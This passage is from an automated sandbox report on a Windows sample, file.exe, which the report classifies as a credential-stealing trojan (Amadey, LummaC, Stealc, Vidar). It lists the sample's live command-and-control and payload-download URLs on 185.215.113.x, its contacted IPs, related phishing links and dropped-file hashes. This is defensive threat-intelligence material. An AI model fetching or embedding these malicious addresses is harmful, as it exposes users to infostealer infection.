https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://www.messenger.com	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://msn.comXIDv10M	Cookies.8.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.office.com/mail/compose?isExtension=true	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	false		high
https://i.y.qq.com/n2/m/index.html	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://www.deezer.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://web.telegram.org/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://vibe.naver.com/today	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.7.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, IECGIEBA.0.dr	false		high
https://excel.new?from=EdgeM365Shoreline	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php7	file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206Z	file.exe, 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_395.4.dr	false		high
http://185.215.113.16/mine/random.exe_	file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.8.dr	false		high
https://www.google.com/chrome	content_new.js.7.dr, content.js.7.dr	false		high
https://www.tiktok.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpA	file.exe, 00000000.00000002.2436639774.00000000234D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.7.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpim	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://chrome.google.com/webstore/	manifest.json.7.dr	false		high
https://y.music.163.com/m/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpS	file.exe, 00000000.00000002.2436639774.00000000234D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	false		high
https://bard.google.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.7.dr	false		high
https://clients6.google.com	chromecache_395.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpU	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/2	file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.7.dr	false		high
https://web.whatsapp.com	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://m.kugou.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://outlook.live.com/mail/0/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DHJECFCGHIDGHIDHDHIE.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.7.dr, 000003.log0.7.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.7.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpI	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpJ	skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://ntp.msn.com	000003.log6.7.dr, 2cc80dabc69f58b6_0.7.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.7.dr	false		high
https://gaana.com/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.164.116.57	unknown	United States	3	MIT-GATEWAYSUS	false
20.189.173.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.171	unknown	United States	35994	AKAMAI-ASUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
65.52.241.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.9	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.219.82.25	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	plus.l.google.com	United States	15169	GOOGLEUS	false
142.251.40.161	unknown	United States	15169	GOOGLEUS	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.209.72.43	unknown	United States	20940	AKAMAI-ASN1EU	false
13.32.110.123	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558932
Start date and time:	2024-11-20 00:18:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@69/210@26/25
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 142.250.181.238, 74.125.206.84, 34.104.35.123, 142.250.185.227, 142.250.186.42, 142.250.185.234, 142.250.185.138, 172.217.16.202, 142.250.185.170, 142.250.186.74, 142.250.181.234, 142.250.186.138, 142.250.74.202, 142.250.185.202, 172.217.18.106, 142.250.184.202, 142.250.185.106, 172.217.18.10, 142.250.186.106, 216.58.206.42, 172.217.16.138, 142.250.186.170, 142.250.184.234, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.186.142, 13.107.6.158, 13.107.42.16, 2.19.126.143, 2.19.126.152, 48.209.180.244, 88.221.110.179, 88.221.110.195, 2.23.209.130, 2.23.209.133, 2.23.209.187, 2.23.209.28, 2.23.209.52, 2.23.209.59, 2.23.209.3, 2.23.209.36, 2.23.209.20, 2.23.209.13, 2.23.209.57, 2.23.209.45, 13.74.129.1, 204.79.197.237, 13.107.21.237, 93.184.221.240, 172.205.80.42, 192.229.221.95, 142.251.40.163, 142.250.80.35, 142.250.72.99
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, dns.msftncsi.com, prod-agic-ne-6.northeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, config.edge.skype.co
Execution Graph export aborted for target DocumentsDGCFHIDAKE.exe, PID 8048 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8916 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:19:37	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:19:28	API Interceptor	32x Sleep call for process: file.exe modified
18:20:01	API Interceptor	27017x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
	exe004(1).exe	Get hash	malicious	Ramnit	Browse	162.159.61.3
	Dell-Command-Update-Windows-Universal-Application_9M35M_WIN_5.4.0_A00.EXE	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U65b0#U7248#U7f51#U5173.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305Srv.exe	Get hash	malicious	Neshta, Ramnit	Browse	162.159.61.3
	#U65b0#U7248#U7f51#U5173Srv.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.245.104.56
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.165.183.30
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.104
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.245.60.107
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	18.244.18.27
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	18.244.18.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIT-GATEWAYSUS	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.173.219.113
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	18.66.122.25
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	18.66.102.115
	https://docsend.com/view/8bzvs74qq8k89vmw	Get hash	malicious	Unknown	Browse	18.173.205.125
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	18.66.147.49
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	18.65.39.114
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	18.173.205.79
	B0D2CC785Z.htm	Get hash	malicious	Unknown	Browse	18.66.115.26
	owari.m68k.elf	Get hash	malicious	Unknown	Browse	18.48.199.190
	owari.arm.elf	Get hash	malicious	Unknown	Browse	19.198.191.167
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
EDGECASTUS	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://svmr0.mjt.lu/lnk/AV8AAFaSoSIAAAAAAAAAA8n01EsAAYKIu-wAAAAAACvDuABnPFfPAMaNPXPJSsuYiTwyR3BbogAoa9Y/1/kV4e_y8Blrzf3PPyRcwmxA/aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zL25hM3NpZ24uc2JzL2xaOUJhVks4Vks4TEg2clZLOFIxNW5RMDdsWjlCYVZLOFZLOExINnJWSzhSMTVuSlgzWjlCUjE1V1BZ	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	152.199.19.160
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	20.75.106.146
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	https://usapress.info/inside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	https://l.facebook.com/l.php?u=https%3A%2F%2Fusapress.info%2Finside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years%2F%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0r3IVxCUPtQPPqP5Ce0_adoAsiHgG3Oy1cYDq3k1JXBIrTGLtjToxlazM_aem_q02YsKkKY0QB_fm5suzUDw&h=AT1Xo_CkNlagO29_sds-m5zdTBZ6-H70m0J__7wjjmSNinwNGqBfRUFK3cH2zXJWNO7msrJPRkNulrkTmUCLkRNMcfCJTNK-cs4SfUQyRy7nw3vP1DNmFisBvlttaen8fHfi-N3lXN_BGQgdBw&__tn__=R%5D-R&c%5B0%5D=AT3euz91upHKeMVK8p24ktUFKClJ0GKt_3lJnV9tGakx0Tro3u7Ymk1z4tOG4eBZxcuD-Ny10eAla4iUyfdG04Fh4GryHwAMuELGG4dQctfWKiu4mfB-eLJ8Qktnq0ptzD_TaZEPEMHQnvP4W65jDpc-XBmWlMSmaRM-2soPhaPGYAODWegqP8h47S90Q2hmwQvQgUDdb35OgV1duzzqudMAyOk7e8E7mfpnrlwhIvWwUkK53AUNuPTqYkQ	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45
	http://blacksaltys.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.136 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\BAAFIJKKEHJDHJKFIECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
